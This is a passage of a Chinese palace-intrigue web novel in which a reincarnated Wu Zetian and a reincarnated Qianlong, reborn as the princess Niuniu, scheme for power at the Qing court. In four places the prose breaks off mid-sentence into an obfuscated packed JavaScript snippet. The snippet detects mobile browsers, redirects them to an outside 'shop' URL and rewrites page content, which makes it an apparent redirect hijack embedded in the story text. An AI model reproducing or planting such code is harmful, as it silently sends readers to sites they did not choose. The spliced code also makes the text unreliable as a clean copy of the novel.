【准备摊牌了?】 [单纯想关心一下这个善良天真的好女人。] …… …… 当着凤龙的面,武曌的笑容深邃黑暗,但当她来到乌拉那拉氏身边时,眼中顿时充满温情:“姐姐,你怎么会……怎么会突然病得这么厉害?” “我……我听说前日你和怡亲王共同下旨,招年羹尧即刻入京主持朝政……这事是真的吗?” 乌拉那拉氏不甘心地看着年世华,希望她给予否定的答案。 然而—— “确有此事。” “为什么?” 面对乌拉那拉氏的质问,早有准备的武曌言之凿凿:“怡亲王近来身体不适,无法主持朝政,担心三位辅政大臣欺负我们孤儿寡母,建议我招二哥回京,确保皇上明年能顺利亲政。” “不怕年羹尧进京以后恃宠而骄专横跋扈目无皇上?先帝当年也是花了大力气才好不容易勉强收服年羹尧……” “二哥的事情,姐姐莫要担忧。先帝能收服二哥,妹妹和皇上自然也能收服。” “……你能收服年羹尧?” 乌拉那拉氏诧异,脱口而出:“莫非你以为同父异母的兄妹必定能够利益一体共同进退?” “姐姐说笑了。” 准备趁着年羹尧入京的机会正式走出幕后走向台前的武曌微笑着告诉乌拉那拉氏:“在先帝收服二哥以前,二哥已经对我唯命是从。年家的掌舵人一直是我而非年羹尧。” “你……你说什么?我怎么……等等!妹妹,你这些年不是一直都深居后宫不问政事吗?哪怕先帝病重,让你协助处理政事,你也是百般推脱谨慎……为什么……突然……突然……为什么用那样的眼神看着我!你的眼神!你的眼神——” 乌拉那拉氏再次发出惊恐的叫声。 在年世华的眼中,她看到了深不见底的黑暗以及隐约燃烧的黑色火焰。 “姐姐,谢谢你这三年为我们母子做的种种,也是因为你的付出,妹妹决定不再沉默,以后的路,妹妹会亲自扶着皇上走下去。” “真的吗?” 乌拉那拉氏长舒一口气,慈爱又欣慰地看着年世华那燃烧着黑色火焰的眼睛:“有妹妹这句话,姐姐这三年……也算是辛劳没有白费……姐姐以后……以后……” “姐姐以后就在宫中安心养身,前朝的事情,妹妹必定竭尽所能。” 武曌端来汤药,温情脉脉地喂入乌拉那拉氏口中:“先帝生前已经为四格格选好额驸,如今孝期已满,是否应该选择黄道吉日为他们成婚?” “这是自然。” 乌拉那拉氏本就是个大度温婉的人,何况当下心情舒畅,闻言,笑吟吟道:“妞妞是先帝唯一活着的女儿,所以,虽是庶出,但她的婚礼规格必须按固伦公主的档次大办特办。” “姐姐所言极是。” 武曌放下药碗:“妹妹以为,此事应由姐姐亲自操持,才更显得四格格地位尊贵非比寻常。” [有母后皇太后压着,妞妞体内的弘历也将不得不暂时消停一段时间!] 乌拉那拉氏哪知道武曌和弘历的暗中博弈,闻言,连连点头道“我正有此意。” …… …… “什么!年底下嫁富察家?” 收到婚讯,妞妞脸色顿时忧喜参半。 倒不是她不想下嫁富察家从此名正言顺利用富察家男人的力量为自己争取朝堂和宗族话语权,而是她经过这些年的观察发现,即便富察家的力量全部为她所用,只要大清的官爵制度不对女性开放,此生是女人的自己即便得到固伦公主的封号也无法名正言顺地走进乾清宫和官员们一起讨论国家大事! 她永远只能站在男人身后通过影响、掌控男人间接左右政治! 反倒是远嫁蒙古草原以后,她可以大清和亲公主身份直接拥有军队和土地,并以公主府的名义发布政令管理丈夫拥有的一切! [可恶!太可恶了!这辈子怎么就不幸生成了女人!还是大清的女人!如果朕这一世生在俄罗斯或是英吉利、西班牙之类允许公主继承王位的国家,如今必定早已加冕登基!] 想到这里,妞妞忍不住骂了一句:“万恶的男尊女卑!” 【然而你讨厌男尊女卑,只是因为你这一世不幸做了女人。】 凤龙满不在乎地出现,悠闲无比地看着妞妞。 【乌拉那拉氏会亲自为你筹备婚礼。】 [婚礼再隆重又如何,不过是个黄金打造的笼子!朕要的是权力,不是笼子!] 妞妞面露狰狞。 【那就想办法让女人拥有权力。】 凤龙从屋檐上跳下,优雅轻灵地落在妞妞面前。 【别忘了,你可是最接近权力中心的女人,权力就在你面前,只要伸手总能抓到——】 [你的意思是……] 【雍正只留下三个儿子一个女儿,其中最年长的弘时因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162149|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为当众殴打怡亲王,如今正在家闭门思过。当然以他的能力,即便结束闭门思过后立刻被委以重任也只是让大清多了个尸位素餐的亲王。弘昼同理。所以年氏才会急招年羹尧入京,以此平衡权力,避免被隆科多等人趁怡亲王在家养伤的机会架空他们孤儿寡母。】 [你要我利用这个机会插手朝政?] 【我只是提供建议。以你的聪明才智,必定早就看到机遇,开始制定全盘计划。】 [嗯……] 恰到好处的恭维让妞妞露出受用的笑容,因婚期而烦躁的心也瞬间平复。 [你说得没错,朕确实应该抓住这个难得的好机会……朕很久以前就发现年氏非池中之物,也早就发觉年氏最近三年看似安分守己不问政事其实韬光养晦蓄势待发……可怜的乌拉那拉氏还……如今朝堂格局变动,年氏开始活跃,想借年羹尧的力量让自己可以垂帘听政……朕也不能落于人后啊!] 【你想怎么做?】 凤龙坏笑着问妞妞。 妞妞神秘一笑,拒不回应。 …… …… 年羹尧收到京城诏书,星夜赶路,只用了不到五天的时间就抵达京城,精神抖擞地走进乾清宫。 “年大将军居然——” 年羹尧的提前到来让隆科多满面惊诧。 他知道年羹尧是个狠角色,也知道年羹尧一旦回京,势必会和同是辅政大臣的自己争夺怡亲王生病期间留下的权力空缺,但他没想到年羹尧回京速度如此之快!让他措手不及! “国家大事容不得一丝拖延懈怠,因此,亮工收到两宫太后和摄政王诏令后立刻上马赶路,一路上恨不得吃喝都在马背上!” 其实全程乘坐年希尧召集能工巧匠改良制造的以蒸汽马达为动力的马车的年羹尧假装路途艰辛苦不堪言。 隆科多不知内情,闻言,长舒一口气,故作关切道:“这么辛苦赶路,年将军的身体没有大碍吧?” 总所周知,连续数日骑马不停歇会导致尿血,身体虚的甚至可能因此送命。 “托皇上洪福,年某一切都好。” 年羹尧假笑三声,走到朝臣队伍的最前面。 其他人听到了两人的对话,也纷纷夸赞年羹尧忠君爱国自有天佑,内心则无不嘀咕抱怨他这么拼命赶来居然没死在半路上! …… 啪!啪!啪! 代表上朝的长鞭响起,朝臣们赶紧列队整齐,跪拜行礼,头顶飘来太监尖锐高亢的声响—— “皇上驾到!” “圣母皇太后驾到!” 圣母皇太后? 驾到! 出乎预料的名字让跪成一片的朝臣们无不目瞪口呆! 总所周知,母后皇太后近年来始终干预政事,直到半个月前才因生病暂时不再垂帘听政,而圣母皇太后始终恪守“后宫不得干政”的规矩待在宫中……为何今日突然……难不成…… 年羹尧! 一定是因为年羹尧! 想到此处,隆科多为首一派官员顿时眼冒凶光。 100.想要得到更多 年羹尧感受到朝臣们的恶意注视,内心泛起无限快意。 几乎所有人都觉得他是个怀有不臣之心的权臣,妄想凭借和圣母皇太后的亲缘关系一手遮天,哪知道此刻坐在小皇帝身后的女人才是大清这盘棋真正的执牛耳者。 [连谁是真正的敌人都没搞清楚就贸然出击,真是一群蠢货!] 年羹尧洋洋得意地想着,率先起身,向小皇帝和小皇帝身后的圣母皇太后禀告此次回京带回的西北各地军情。 “启禀皇上、圣母皇太后,准噶尔一带近来又蠢蠢欲动,和卓家族也有附和之意,臣年羹尧以为此事应重拳出击,不可姑息。” 话音刚落,隆科多立刻发难:“年大将军言之有理,可你不当家不知柴米贵,这几年连连灾荒,大清的国库已经见底!根本负担不起西北绵延至准噶尔的庞大战局。何况伊犁一带本属西域,大片土地荒无人烟不适合耕种放牧——” “你什么意思?没钱就不打?任凭准噶尔作乱?” 年羹尧毫不客气地打断隆科多。 隆科多不敢和年羹尧在国土这件事情上硬碰硬,摸着鼻子道:“大清天威不可侵犯,但眼下也确实时机还未成熟,等时机成熟——” “什么时候算是时机成熟?” 高堂之上,温润中蕴藏无比威严的声音响起。 隆科多闻言,心头不由一震,仰头望去,看到坐在小皇帝身后的圣母皇太后——明明是第一次以皇太后身份临朝听政,散发的威严却让人不寒而栗,仿佛执政多年、全身上下每个毛孔都浸透权力的绝对君主。 “——圣母皇太后有所不知,常言说得好,大军未动粮草先行,打仗与其说打的是人不如说打的是国力,圣祖皇帝执政晚年,大清灾难频繁,连年歉收,国库空虚。世宗皇帝在位期间虽严惩贪官污吏又推行新政励精图治,无奈新政至今时间太短,还未见大成效就……奴才恳请圣母皇太后三思!” “三思?” 武曌看向年羹尧:“亮工对此有何看法?” “只要皇上和太后允许奴才出兵,奴才可自行解决粮饷问题!” 年羹尧傲气十足。 武曌笑了笑,反问隆科多:“现在呢?” “年大将军好大的口气,敢不敢立军令状?” 隆科多方才一番挤兑其实是激将法,他真正担心的是年羹尧长期留在京城对自己不利,现在见目的初步达成,心里早就乐开了花,假意请年羹尧立军令状,其实是想直接一网打尽! 年羹尧抬头,看了眼圣母皇太后,点头道:“有何不敢!” “那就——” “两位不要争吵!大局为重!” 武曌出声,打断年羹尧和隆科多的争执。 …… 退朝后,年羹尧前往养心殿见圣母皇太后。 武曌也懒得和他客套,开门见山问道:“朝中有多少人是我们的敌人?” “几乎全部是敌人。” “那……” 武曌想了一下,对年羹尧道:“你现在必须留在京城辅佐本宫成大事,但西北的事情也不能不尽快处理……只有新军和新武器在西北一带打出大胜,朝堂上反对我的声才会逐渐消失……西北这一仗,让岳钟琪带上富察家的几个年轻后辈……” “那四格格——” “四格格是个有野心的女人。” 武曌面色冷峻:“她比富察家的男人更期待富察家男人早日上战场立下赫赫军功,如此她才能在宫中和朝堂掌握一定的话语权。” “四格格想做太平、安乐?” “她有这份心,可惜本宫不会给她得逞的机会!” …… …… 四格格妞妞这边,下嫁富察家的良辰吉日已经选定,内务府也送来了垒起来足有半人高的陪嫁清单,单是各类陪嫁首饰就有五十箱,更不必说堆积如山的丝绸绫罗、整叠的庄园当铺地契。 可惜,妞妞前世是地位仅在天道之下的皇帝,内务府准备的超豪华陪嫁清单不仅没能让她露出微笑,反而让她更加怨恨当前状况! [区区这点陪嫁就想把朕赶出皇室?!可恶!] 【可你这一世是女人。在男尊女卑的财产分配制度下,女人能得到的就这么多。】 [朕不甘心,朕要得到更多……朕……] 妞妞抬头,眼神火热地看着凤龙。 [你真的是盛世祥瑞吗?为什么你跟在朕身边这么长时间竟没有给朕带来一点点的好处?] 【因为祥瑞还是灾祸,本就是你们人类为我取的名字,我就是我,过去是这样,未来也是如此。】 说话间,凤龙挑了下眉毛。 【告诉你一个好消息,年羹尧想留在京城控制朝堂政事,又不愿放松对西北的掌控,所以他打算让岳钟琪带上富察家的年轻人去打大小金川和准噶尔……】 [果然是个好消息。] 爱新觉罗·弘历·妞妞露出欣喜笑容。 她开始期待和富察家的大婚了。 …… …… 朝臣们争论年羹尧入京给大清带来的究竟是好运还是不幸的同时,以年希尧和尹太嫔为主导的科技革命正悄无声息地展开。 被遗忘的廉亲王允禩和允禟也是这场科技革命的重要一环——每逢年希尧率领的工匠团体在尹太嫔指导下捣鼓出新玩意,早在先帝末年就已识时务地依附了圣母皇太后的两人便在圣母皇太后的默许下,将他们捣鼓出的东西以各种手段在民间小范围推广,让民间百姓逐步接受并使用新工具进行生产活动,如此不知不觉已经三年。 现在,沿海地区尤其是江浙湖广一带,接受并使用以蒸汽机为核心制造的各类新工具的百姓数以万计,少数富户更开设了以改良式珍妮纺织机为核心生产工具的纺织工厂,部分矿山使用以蒸汽机为动力的各类机械工具,减少工人的死伤。 此外,和朝廷往来密切的豪门巨富家中开始出现加装了改良式马达的马车,并以此为荣。 【在绝对的生产力提升面前,人人都不是傻子。】 凤龙悠闲摇晃双腿,脸上满是得逞的笑容。 【只是如此一来,因为蒸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173279|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汽机的推广而失去土地的贫民……可是有一定可能会成为皇朝统治的动乱因素~】 [这个问题,年羹尧已经提出了初步的解决方案。] 武曌伸手转动地球仪,笑容温柔。 [以十年为计数单位的短期问题可以用战争解决,以百年为计数单位的长期问题……根据天幕直播系统提供的信息,工业革命一旦爆发,科技会在百年内迎来相当于之前千年的总和的超高速发展……何况……] 【何况人类生命有限,你活不到百年以后。】 [……是啊。] 武曌眼中罕见地流过伤感。 [悠悠百年……朕即便这一世再次登基成为皇帝,终究活不过百年光阴……将来终究还是……全部都……] 【后悔吗?】 凤龙饶有兴致地问道。 【后悔将重生的一世全部拿来争夺权力攀登皇位而不是做个普通女人尽情铺张奢靡地享受人生,哪管死后洪水滔天吗?】 [如果我重生一世选择后者,那我才会真的后悔。] 武曌平静地告诉凤龙。 [在拥有几乎无限生命的你眼中,人类不过百年的生命或许连历史长河中的一滴水都不如,但既然我能两次存在于世界,我便必须做些事情证明我的存在是有意义的,助我重生的那股力量做了个正确的选择。] 【其实,对我而言,不仅人类短暂生命是比水滴更加渺小的存在,人类文明从诞生到毁灭的全过程也只是一场盛大而短暂的烟火表演。你用你的两世人生试图证明的自我意义或许毫无意义……】 [我并不这样认为。] 武曌微微一笑,笑容中充满自信。 [如果我的一切都毫无意义,拥有几乎无限生命的你为什么会出现在我面前?不要说这只是一场巧合一场游戏,我相信巧合也相信游戏,但我更相信世间的一切都被一根看不见的名为‘命运’的线串在一起。命运的过去是既定的,但命运的未来源于当下的每一个选择。] 【你……】 凤龙抽唇微笑,眼中逐渐绽放出夺目的绚烂。 【……被你看穿了。】 [所以你到底想从这个世界得到什么?] 【得到生命的意义,我的意思是,我想理解你们这些对我而言生命短暂到近乎朝生暮死的生命,理解你们的思考,知道你们为什么要脱离简单的生存繁衍本能创造在时间和空间的维度中显得既抽象又脆弱的文明,以及……你们中的哲人明知一切终将归于湮灭,为何还要仰望星空,思考永恒……】 [拥有接近无限生命的你居然也不知道这些问题的答案?] 【我拥有接近无限的生命不代表我是全知全能的存在,我……】 凤龙狡黠一笑。 【和我一起寻找答案,好吗?】 [好。] 武曌握住凤龙的手。 这一刻,她听到了宇宙的心跳。 砰!砰!砰! 强劲有力,宛如亿万颗恒星一起呼吸。 [首先,我们要让你坐上皇位。] 101.撤帘子 妞妞一心把富察家年轻一代的战功变成自己的政治资本,确定良辰吉日后立刻下嫁富察家,成婚不过三日就主动上书两位皇太后请两位皇太后把新婚夫君送去金沙前线,美其名曰富察家的男人理应为大清效忠。 “四格格果然深明大义。” 母后皇太后乌拉那拉氏大感欣慰。 身为圣母皇太后的武曌则笑容意味深长:“新婚燕尔送夫出征,四格格不怕孤枕难眠吗?” “为了大清的四境安宁,纵然孤枕难眠也必须忍耐。” [朕选他做额驸不过是权宜之计,真正想要的是现在还没成年的傅恒,当然,这些算计,你们女人永远都不会懂!] [瞧你这心思,仿佛这辈子不是女人一样!] 武曌眼中划过一丝讥讽,笑着将整盘的表面还结着冰晶的新鲜荔枝递给妞妞:“四格格,吃荔枝。” “这么多的新鲜荔枝?” 妞妞诧异。 要知道,大清的荔枝主要在福建、两广一带分布种植,为了让宫中吃到美味的新鲜荔枝,地方将荔枝种在桶里,等到荔枝开花结果就装船起运,从福州起运,利用闽江水系河道乘船到浦城,从浦城到江山这一段陆路则是人工搬运,到钱塘江后再经用水船送到杭州,经过大运河抵达京城,耗时耗力不说,运送的荔枝还是专门培养的矮小品种,每个树只能挂果四五个。 所以,即便贵为皇帝、皇太后,每年能吃到的新鲜荔枝也是寥寥数个,无法享用整盘荔枝。 “漕运那边把造办处工匠研究西洋人的蒸汽机改良做成的马达安在了船舶上,从福建到京城原本要四十多天的漫长路程因此缩到十天以内,沿途官员又严格按照规定每两天给放荔枝的箱子换一次冰块,这才保证两百斤新鲜荔枝送到京城时还有五十多斤可以食用。” 武曌慢悠悠向妞妞解释缘由。 得知新办法运送荔枝竟然只有不到四分之三的折损率,妞妞露出欣喜神色:“西洋人的东西也不全然一无是处。” “它山之石可以攻玉,何况大清有近两万万人,自然不乏聪明才智之辈。”(雍正晚期和乾隆早期的人口约是一亿四千万) “圣母皇太后的意思是——” 妞妞的声音骤然严肃,看年氏的目光也流露出警惕和算计。 “本宫以为,如此多的百姓应当将部分人送到大清以外的其他地方,避免人多地少,爆发民变。” “人多地少……” 妞妞口中喃喃重复。 前世作为乾隆皇帝的他几乎一生都在思考这个问题,大清人口越来越多,可耕种的土地却没有增加,农作物的产量和种类也一直维持原样,加上历朝历代中后期必然出现的土地兼并问题、官员贪腐问题,底层百姓的饥饿问题愈演愈烈,被康乾盛世暂时掩盖的民族矛盾也隐约浮出水面,随时可能引爆…… “以哀家看,要解决人多地少这个问题,无非是水多和面、面多加水,把多出来的人送去眼下还没有人的土地不就两全其美了?” 乌拉那拉氏略显天真地提议道。 武曌闻言,微笑不语。 妞妞皱紧眉头。 母后皇太后的提议确实是解决人多地少的问题的最直接最有效的办法,但是—— 对外扩张谈何容易! 殖民他国也不是一张嘴就能办成的事情! 它需要……需要…… 突然,一个念头划过妞妞的脑海,她想起圣母皇太后最近几年一直让造办处的工匠们不断改良的各类火器! 难道说—— [这个女人果然不简单,是朕小瞧了她!] [现在才发现吗?你虽是权术高手,眼界却始终停留在大清原有的一亩三分地上,只想巩固现有的一切,从未放眼全球!] 武曌在心中无情讥讽乾隆。 妞妞不知笑容温婉的圣母皇太后的真实内心,醉心权术的她满脑子都是火器的应用可能对军队战争带来的巨大变化以及军事上的胜利对自己的夺权之路的促进作用。她只想登上皇位成为女皇,百姓的死活、大清的未来,眼下都和她没有关系。 事实上—— 如果推翻现有体制能让自己合法登上皇位,她也不介意亲手葬送爱新觉罗家。 【以男性为核心的宗法制并不反对皇太后以皇帝的母亲的身份摄政甚至登上皇位,反倒是公主,因为她终究要下嫁驸马成为驸马的家族的一员,因此她无法成为女皇。由此可见,你要成为皇帝,必须首先推翻现有的宗法制度,制定公主也能继承皇位的新制度。】 凤龙在妞妞耳边私语。 妞妞故作淡定地吃着荔枝,眼角余光不断打量两位皇太后。 [可恶!真是可恶!为什么朕这一世要做女人!] …… …… 年羹尧此番回京和同为辅政大臣的隆科多等人斗得不亦乐乎,但对如今卧病在床的摄政怡亲王允祥却始终礼遇有加,回京第二天就登门拜访,一个劲地嘘寒问暖,显得神交已久。 允祥一家笑容可掬地接待着来访的年羹尧,送走他以后,允祥的脸色顿时严肃。 “大将军此番来势汹汹,你们从此要收敛着,切不可触其锋芒。” “王爷担心年大将军效仿鳌拜?” “鳌拜一介武夫,怎么能和既是外戚又文武双全的年羹尧相提并论,”允祥苦笑道,“年羹尧是想做大清的曹操,最少也是个霍光。” “那……那我们该怎么办?眼睁睁看着年家飞扬跋扈?” 允祥的几个儿子顿时义愤填膺。 允祥摇摇头,道:“大清终究是满人的大清,年家再飞扬跋扈朝纲独断,也跨不过出身汉军旗的天堑,所以我并不担心年羹尧会生出不臣之心,反倒是朝中其余几位爱新觉罗氏……有可能趁着争斗攫取利益……” “阿玛的意思是——” “既然年羹尧是汉军旗出身注定无法窥探大宝,又文武双全还有皇太后作为后盾,我们为什么不助他一臂之力?借他的手除掉真正可能威胁皇上地位的乱臣贼子!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187860|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说到此处,允祥不由长叹道:“四哥走得太早,皇上又出生太晚。” “阿玛对先帝真是赤诚之心可昭日月。” “四哥对我那么好,我怎么可以对不起他?做不到鞠躬尽瘁死而后已,至少也要尽人事听天命。” “那……那万一……” 怡亲王福晋想到一种可能,小心翼翼问道:“万一年大将军和圣母皇太后内外勾结把持大清江山,我们又该如何?” “不会发生什么,”怡亲王道,“即便圣母皇太后效仿武则天登基做女皇,百年之后还是要把江山还给爱新觉罗家,而不是将天下传给年家。毕竟,大清是满人的大清,年羹尧再厉害再能打,他也不能把满蒙八旗的将领全变成自己的人。何况大清还有蒙古各部王公作为后盾,关外的龙兴之地也始终牢牢握在爱新觉罗家手中。” 听完怡亲王的分析,众人恍然大悟,确信年氏兄妹再厉害也不可能动摇大清的统治,真正可能篡夺皇位的是爱新觉罗家的其他人。 …… [怡亲王确实是个人物,看问题透彻,知道大清建立在满蒙一家的八旗制度基础之上,出身汉军旗的年家始终是八旗制度的边缘角色,即便生出篡权夺位改朝换代之心也无法得到满蒙王公的支持。可惜……] 细细盘算过后,武曌问尹无归:“以你之见,本宫怎么做才能撤去帘子直接过问朝政?” “姐姐不想继续垂帘听政了?” “隔着帘子交流终究有些不方便。” 武曌直言不讳。 尹无归笑道:“那为何不直说不想隔着帘子?” “满朝文武会答应?” “若是年大将军提议此事,必定无人胆敢反对。” 尹无归露出向往神情。 这个平行世界的历史正朝着完全陌生的方向疾奔而去,原本只是历史的旁观者的她也在因缘际会中成了推动历史的重要一环。 “二哥……二哥未必愿意让本宫撤去帘子直接过问朝政,”武曌假惺惺道,“他如今的权力有三处源头,既是先帝遗诏的顾命大臣又是西北军权在握的大将军同时还是本宫的哥哥、皇上的舅舅。若本宫撤了帘子直接听政,他在朝堂说一不二的地位反而可能因此削减。” “姐姐言之有理,可倘若年大将军担心圣母皇太后直接听政削减自己的权力,近来一直被大将军压制的其他人呢?他们是否意识到此举能让年大将军的权力有所收敛?” 尹无归提出自己的观点。 而武曌等的也正是这一句:“尹妹妹说得很对,年羹尧和我再亲终究隔着一层,朝臣们只要稍微有些脑子就会明白让我直接听政虽然短期内对年羹尧有好处,长期却对他们有好处,毕竟权力的王座只能容下一个人,兄弟尚且会为了皇位自相残杀,何况是各有儿女利益需要维护的兄妹?” “姐姐打算什么时候撤帘子?” 尹无归跃跃欲试。 武曌微笑着,看向不远处正紧跟太监身后走向两人所在的亭子的张廷玉。 102.审时度势 张廷玉作为汉人,成为辅政大臣后一直大力提拔汉臣以扩大汉人在朝堂的影响力,如今汉军旗出身的圣母皇太后暗示要撤去帘子直接听政,钳制满清王公的势力,本就擅长曲意逢迎的张廷玉怎么可能不答应。 “有圣母皇太后和大将军主持朝政,我大清必定繁荣昌盛,人人丰衣足食夜不闭户。” “你当真如此想?” 武曌盘弄着护甲暗示张廷玉:“仔细算来,皇上也快到亲政的年纪了。” “皇上……” 张廷玉眯眼。 圣母皇太后和大将军出生汉军旗,任用人才时难免偏心汉人,但皇上作为爱新觉罗氏,亲政以后必然偏重任用满人,减少汉人数量。 “微臣以为,少年天子应以世祖皇帝(顺治)和圣祖皇帝(康熙)为鉴,多多学习,循序渐进,积累足够的经验后再行亲政之事。” “这么说……” “方才不过是微臣的斗胆之言,若是圣母皇太后不喜欢,微臣立刻收回。” 张廷玉假意下跪,做出诚惶诚恐姿态。 “你的话也不是完全没道理……不过在此之前,本宫有另一件事情需要你帮忙完成。” “皇太后请说——” “本宫听说西洋人那边如今流行开采石油和煤炭代替木材用于冶炼制造,本宫想知道大清境内有多少石油多少煤炭,以及大清能造出多少钢铁!” “皇太后,您这意思是——” 张廷玉露出惊喜参半神色。 武曌意味深长的笑了笑,道:“大清是泱泱大国,怎么可以落后于西洋蛮夷!凡是西洋人有的好东西,我们都必须有!西洋人没有的好东西,我们也要有!本宫不喜欢被人踩在脚下的感觉,要做就做第一!” “皇太后英明!” 张廷玉欣喜若狂。 他接触过西洋传教士,他知道圣母皇太后的这道命令意味着什么! 圣母皇太后想得到的不只是垂帘听政的权力,她还想得到如女皇武则天那般至高无上的地位。而他张廷玉无意成为狄仁杰,当然,如果后期形势有变,他也不介意做一回狄仁杰。 [就凭你也想做怀英?] 武曌暗暗冷笑,脸上却挂着温柔:“衡臣,你和本宫的兄长都是先帝遗命的四位辅政大臣,也都不是满人身份,你们要成为本宫的左膀右臂,帮助本宫制衡那群图谋不轨的家伙。” “微臣愿肝脑涂地以报皇恩!” 张廷玉以头抢地,做出感恩戴德死而后已的忠诚姿态。 武曌露出明媚的笑容,眼中却写满阴暗。 …… …… 由年羹尧提议、张廷玉助攻的撤帘子并未引来朝堂众臣的反对,毕竟,身为满臣代表的摄政怡亲王如今身体不适在家养病,先帝遗诏任命的另两个摄政大臣隆科多和鄂尔泰虽能看出圣母皇太后此举背后暗藏的政治野心,但是廉亲王允禩为首的皇室宗亲们也选择拥护皇太后,势单力薄的他们不得不妥协。 散朝后,两人找到廉亲王允禩,不解地问道:“八爷,您这葫芦里到底卖的是什么药?” “我更想知道你们两位为何突然向我求教!” 允禩冷嘲热讽地看着隆科多——当年若不是隆科多奉命把守畅春园所有出入只允许那时还是雍亲王的雍正入内,大清皇位未必会落到老四身上,虽然那他因为九龙夺嫡期间的种种已经不可能得到皇位。 “八爷,谁不知道您和九爷是圣祖皇帝的阿哥里面最聪明最机灵最……” “打住!” 允禩打断两人,冷笑道:“我和老九要真有那么大的本事也不至于落得如今的下场,我名为亲王其实处处被制,老九更是……先帝驾崩前原本打算把他除掉,亏得十三和年羹尧一起说情加上那时大清国库空虚,需要老九的经营手段……否则他早就一命呜呼!” “八爷,这些都是陈芝麻烂谷子的旧事,您……” “不提不行,我咽不下这口气!” 说完,允禩拂袖而去。 隆科多等人见廉亲王动了真怒,不敢继续贴上去。 允禩这边—— 出了紫禁城,他顿时长舒一口气,掏出汗巾擦拭额头冷汗。 心腹见状,关切问道:“爷,您身体不舒服吗?” “我身体好得很,倒是刚才的事情……差一点点就……被他们抓住把柄……” “爷的意思是——” “隆科多此人一向不折手段,方才的那些问话分明是给我做套,”允禩冷笑道,“可惜我不傻,更不想做他们的工具。” “如此说来,今日在朝堂上爷是故意附和皇太后和大将军他们……” “老十三这个先帝钦点的摄政王都在家养病了,凭什么我要做大清的中流砥柱?” 允禩想得很清楚。 作为九龙夺嫡的失败者,尴尬身份决定了他在如今的每场政斗风波中都必须坚定地站在皇帝和与皇帝有关的政治势力身旁,以此显示他对皇帝忠心不二,换颐养天年的好结局。 “可问题是……” “问题是什么不重要!我现在已经是大清朝堂的边缘人物,安分守己才能尽可能地得到善终!何况老九上个月写信告诉我说如今南方及西北部分地区大量使用蒸汽机代替牛马劳力,江南地区则大规模使用纺织机织造布料,昨日张廷玉更直言皇太后想要拥有西洋人的全部好东西,有意勘测挖掘石油和煤炭用于冶炼钢铁,由此可见,大清即将发生超出我们想象的剧烈变化。” 说到这里,允禩顿了一顿,叹道:“未来会发生什么,我不敢想,我现在所做的一切都是为了我的子孙后代能平安活到未来并始终拥有高人一等的身份和地位!” “奴才明白了。” 心腹会意,低头退到一旁。 允禩回头看了眼森严辉煌的紫禁城,又是一声叹息。 …… …… 岳钟琪代替年羹尧在西北主持战局,不过半年时间就捷报频传,立下赫赫战功,他麾下的八旗子弟们尤其是富察家男丁更是智勇双全锐不可当,记录他们的战场表现的奏章送到紫禁城,大臣们看过以后无不为之惊叹,感慨“后生可畏”! [富察家的男人果然永远不会辜负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204582|135102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朕!不管是这一世还是前世!] 身为富察家长媳的爱新觉罗·弘历·妞妞也露出明媚的笑容。 她开始畅想富察家的男人们立下赫赫功勋,她踩着功勋铺成的红毯一步步坐上皇位,成为大清绝无仅有的女皇帝。 【事情真的会如你所想那么顺利发展吗?】 凤龙迎面一盆冷水泼在妞妞脸上。 【现有的宗法体制下,公主远比太后更难成为皇帝,除非——】 [朕当然知道这件事情有多难!所以朕需要富察家的男人为朕在战场冲锋陷阵,朕还需要……还需要弘宜无法生下孩子,他没有孩子,朕才有可能从他和年氏手中抢到皇位。如果弘宜有了孩子,朕的全盘计划都会无情落空!] 【——你的计划是什么?】 [朕为什么要对你说出朕的计划?] 妞妞反问凤龙,帝王的直觉让她开始戒备凤龙。 凤龙见状,不再多问,笑吟吟跟着妞妞穿过重重宫门,来到圣母皇太后面前。 …… “妞妞拜见圣母皇太后。” 野心早已溢出灵魂的妞妞满面笑容地走到年氏面前,故作关切地问道:“圣母皇太后打算什么时候让妞妞的额驸回京?” “公主果然想念额驸。” 武曌假意道:“新婚燕尔便让你们分别,确实是有些不近人情。” 